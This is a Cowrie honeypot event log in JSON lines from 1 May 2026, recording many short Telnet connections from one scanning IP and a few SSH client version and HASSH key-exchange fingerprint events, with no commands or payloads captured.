{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":54698,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9e34152cecb","protocol":"telnet","message":"New connection: 147.124.211.111:54698 (159.203.135.109:23) [session: d9e34152cecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:15.166672Z"}
{"eventid":"cowrie.session.closed","duration":31.0448739528656,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:15.281621Z","src_ip":"147.124.211.111","session":"bfbb83049e4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.607070207595825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:15.473445Z","src_ip":"147.124.211.111","session":"7e3e25503482","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.257900714874268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:15.656362Z","src_ip":"147.124.211.111","session":"4b0e9e3958df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.665292263031006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:15.740267Z","src_ip":"147.124.211.111","session":"4ef4a1451a2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.310535192489624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:17.111596Z","src_ip":"147.124.211.111","session":"fedc60f37584","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.421071529388428,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:17.203248Z","src_ip":"147.124.211.111","session":"1409f51de2b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":54650,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff278230ba7e","protocol":"telnet","message":"New connection: 147.124.211.111:54650 (159.203.135.109:23) [session: ff278230ba7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:17.330698Z"}
{"eventid":"cowrie.session.closed","duration":31.836626529693604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:17.936716Z","src_ip":"147.124.211.111","session":"80c97d602b68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":54670,"dst_ip":"159.203.135.109","dst_port":23,"session":"c658c18cc00e","protocol":"telnet","message":"New connection: 147.124.211.111:54670 (159.203.135.109:23) [session: c658c18cc00e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:17.972279Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":54716,"dst_ip":"159.203.135.109","dst_port":23,"session":"997d39f9a7bc","protocol":"telnet","message":"New connection: 147.124.211.111:54716 (159.203.135.109:23) [session: 997d39f9a7bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:18.281067Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":54726,"dst_ip":"159.203.135.109","dst_port":23,"session":"981999c90fd3","protocol":"telnet","message":"New connection: 147.124.211.111:54726 (159.203.135.109:23) [session: 981999c90fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:18.425086Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":54740,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb16733aa35c","protocol":"telnet","message":"New connection: 147.124.211.111:54740 (159.203.135.109:23) [session: bb16733aa35c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:19.090627Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":54702,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f1d2b52ee9f","protocol":"telnet","message":"New connection: 147.124.211.111:54702 (159.203.135.109:23) [session: 9f1d2b52ee9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:19.250557Z"}
{"eventid":"cowrie.session.closed","duration":30.24100971221924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:20.123771Z","src_ip":"147.124.211.111","session":"26c7293de016","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":54756,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0859ed1e2c3","protocol":"telnet","message":"New connection: 147.124.211.111:54756 (159.203.135.109:23) [session: a0859ed1e2c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:20.403152Z"}
{"eventid":"cowrie.session.closed","duration":31.0108163356781,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:20.435284Z","src_ip":"147.124.211.111","session":"2f48bce66eba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":54762,"dst_ip":"159.203.135.109","dst_port":23,"session":"255347aac012","protocol":"telnet","message":"New connection: 147.124.211.111:54762 (159.203.135.109:23) [session: 255347aac012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:20.580565Z"}
{"eventid":"cowrie.session.closed","duration":31.01234459877014,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:20.616328Z","src_ip":"147.124.211.111","session":"fb6f2487a403","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.526971578598022,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:20.649147Z","src_ip":"147.124.211.111","session":"0d2140297cc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":54772,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad07e165e53b","protocol":"telnet","message":"New connection: 147.124.211.111:54772 (159.203.135.109:23) [session: ad07e165e53b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:20.914244Z"}
{"eventid":"cowrie.session.closed","duration":30.877763032913208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:21.228390Z","src_ip":"147.124.211.111","session":"3bfc55b9d16f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.965264320373535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:21.545263Z","src_ip":"147.124.211.111","session":"bd471231153b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35762,"dst_ip":"159.203.135.109","dst_port":23,"session":"f22cb27d39e3","protocol":"telnet","message":"New connection: 147.124.211.111:35762 (159.203.135.109:23) [session: f22cb27d39e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:22.320748Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":39196,"dst_ip":"10.17.0.5","dst_port":23,"session":"4709df93e4ee","protocol":"telnet","message":"New connection: 137.184.155.248:39196 (10.17.0.5:23) [session: 4709df93e4ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:22.761392Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35782,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf1abc9447bc","protocol":"telnet","message":"New connection: 147.124.211.111:35782 (159.203.135.109:23) [session: bf1abc9447bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:24.379322Z"}
{"eventid":"cowrie.session.closed","duration":31.3217351436615,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:24.697412Z","src_ip":"147.124.211.111","session":"edc108b03789","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34435486793518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:25.152672Z","src_ip":"147.124.211.111","session":"e0675eb407e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35798,"dst_ip":"159.203.135.109","dst_port":23,"session":"551fbfae094a","protocol":"telnet","message":"New connection: 147.124.211.111:35798 (159.203.135.109:23) [session: 551fbfae094a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:25.906298Z"}
{"eventid":"cowrie.session.closed","duration":31.50873064994812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:25.990120Z","src_ip":"147.124.211.111","session":"21a292440bed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.263527631759644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:26.181828Z","src_ip":"147.124.211.111","session":"f2be02af601f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35816,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bf52c7ed9ab","protocol":"telnet","message":"New connection: 147.124.211.111:35816 (159.203.135.109:23) [session: 9bf52c7ed9ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:26.656390Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35830,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7359d5bc95c","protocol":"telnet","message":"New connection: 147.124.211.111:35830 (159.203.135.109:23) [session: c7359d5bc95c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:27.312635Z"}
{"eventid":"cowrie.session.closed","duration":30.922438144683838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:27.701652Z","src_ip":"147.124.211.111","session":"a83050061c09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35818,"dst_ip":"159.203.135.109","dst_port":23,"session":"a20c75d972c1","protocol":"telnet","message":"New connection: 147.124.211.111:35818 (159.203.135.109:23) [session: a20c75d972c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:28.260656Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35800,"dst_ip":"159.203.135.109","dst_port":23,"session":"91945319218e","protocol":"telnet","message":"New connection: 147.124.211.111:35800 (159.203.135.109:23) [session: 91945319218e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:28.529720Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35806,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d9b27913603","protocol":"telnet","message":"New connection: 147.124.211.111:35806 (159.203.135.109:23) [session: 8d9b27913603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:28.594182Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35850,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5f9b0f7ebbe","protocol":"telnet","message":"New connection: 147.124.211.111:35850 (159.203.135.109:23) [session: d5f9b0f7ebbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:28.934529Z"}
{"eventid":"cowrie.session.closed","duration":30.848891496658325,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:29.092260Z","src_ip":"147.124.211.111","session":"c6e967350bbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35866,"dst_ip":"159.203.135.109","dst_port":23,"session":"41a805e7911c","protocol":"telnet","message":"New connection: 147.124.211.111:35866 (159.203.135.109:23) [session: 41a805e7911c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:29.102054Z"}
{"eventid":"cowrie.session.closed","duration":31.193721771240234,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:29.195358Z","src_ip":"147.124.211.111","session":"1d5a6da072e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35870,"dst_ip":"159.203.135.109","dst_port":23,"session":"1242e5a96633","protocol":"telnet","message":"New connection: 147.124.211.111:35870 (159.203.135.109:23) [session: 1242e5a96633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:29.204508Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35844,"dst_ip":"159.203.135.109","dst_port":23,"session":"46130644e42f","protocol":"telnet","message":"New connection: 147.124.211.111:35844 (159.203.135.109:23) [session: 46130644e42f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:29.283711Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35814,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e726a0b2c51","protocol":"telnet","message":"New connection: 147.124.211.111:35814 (159.203.135.109:23) [session: 9e726a0b2c51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:29.617069Z"}
{"eventid":"cowrie.session.closed","duration":31.893639087677002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:30.003030Z","src_ip":"147.124.211.111","session":"f44690b62e81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.192216634750366,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:30.164214Z","src_ip":"147.124.211.111","session":"c0575738fe4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.987417697906494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:30.212276Z","src_ip":"147.124.211.111","session":"4bc83e1cc373","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.808520317077637,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:30.385219Z","src_ip":"147.124.211.111","session":"9cfe92df2b32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44676,"dst_ip":"159.203.135.109","dst_port":23,"session":"59ffd0549c04","protocol":"telnet","message":"New connection: 147.124.211.111:44676 (159.203.135.109:23) [session: 59ffd0549c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:30.877093Z"}
{"eventid":"cowrie.session.closed","duration":31.026237964630127,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:30.933426Z","src_ip":"147.124.211.111","session":"eb72c4c22a5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.195145845413208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:31.043337Z","src_ip":"147.124.211.111","session":"f429be4f02d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.922160863876343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:31.112002Z","src_ip":"147.124.211.111","session":"54239e7821a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44692,"dst_ip":"159.203.135.109","dst_port":23,"session":"23518ab4a5aa","protocol":"telnet","message":"New connection: 147.124.211.111:44692 (159.203.135.109:23) [session: 23518ab4a5aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:31.560112Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44706,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd3d70849f4d","protocol":"telnet","message":"New connection: 147.124.211.111:44706 (159.203.135.109:23) [session: fd3d70849f4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:31.686231Z"}
{"eventid":"cowrie.session.closed","duration":31.25666069984436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:31.753855Z","src_ip":"147.124.211.111","session":"d82fe26b46c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.840359687805176,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:31.909021Z","src_ip":"147.124.211.111","session":"fdf309e222e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44708,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dae64ca00f9","protocol":"telnet","message":"New connection: 147.124.211.111:44708 (159.203.135.109:23) [session: 1dae64ca00f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:32.267951Z"}
{"eventid":"cowrie.session.closed","duration":30.39590334892273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:32.320819Z","src_ip":"147.124.211.111","session":"01fe2f9cd751","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.749903917312622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:32.641858Z","src_ip":"147.124.211.111","session":"03296e8434b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":35890,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8e5216a0bd2","protocol":"telnet","message":"New connection: 147.124.211.111:35890 (159.203.135.109:23) [session: d8e5216a0bd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:32.690209Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44720,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfe08641e1cc","protocol":"telnet","message":"New connection: 147.124.211.111:44720 (159.203.135.109:23) [session: bfe08641e1cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:32.849051Z"}
{"eventid":"cowrie.session.closed","duration":30.88767957687378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:33.114836Z","src_ip":"147.124.211.111","session":"585366b06ac9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.29906129837036,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:33.173651Z","src_ip":"137.184.155.248","session":"0b1948793e75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44744,"dst_ip":"159.203.135.109","dst_port":23,"session":"41d13d24a59a","protocol":"telnet","message":"New connection: 147.124.211.111:44744 (159.203.135.109:23) [session: 41d13d24a59a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:33.256114Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":45208,"dst_ip":"10.17.0.5","dst_port":22,"session":"e953f4363188","protocol":"ssh","message":"New connection: 203.90.110.186:45208 (10.17.0.5:22) [session: e953f4363188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:33.635116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:33.639433Z","src_ip":"203.90.110.186","session":"e953f4363188","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:33.850818Z","src_ip":"203.90.110.186","session":"e953f4363188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.103565454483032,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:34.096349Z","src_ip":"147.124.211.111","session":"6aa0aa163131","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44752,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f38558cac69","protocol":"telnet","message":"New connection: 147.124.211.111:44752 (159.203.135.109:23) [session: 4f38558cac69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:34.190876Z"}
{"eventid":"cowrie.session.closed","duration":30.627623081207275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:34.374936Z","src_ip":"147.124.211.111","session":"6b7f647cdc9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":35824,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc4db8f78721","protocol":"ssh","message":"New connection: 72.253.251.7:35824 (159.203.135.109:22) [session: bc4db8f78721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:34.383746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:34.388380Z","src_ip":"72.253.251.7","session":"bc4db8f78721","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:34.506667Z","src_ip":"72.253.251.7","session":"bc4db8f78721","protocol":"ssh"}
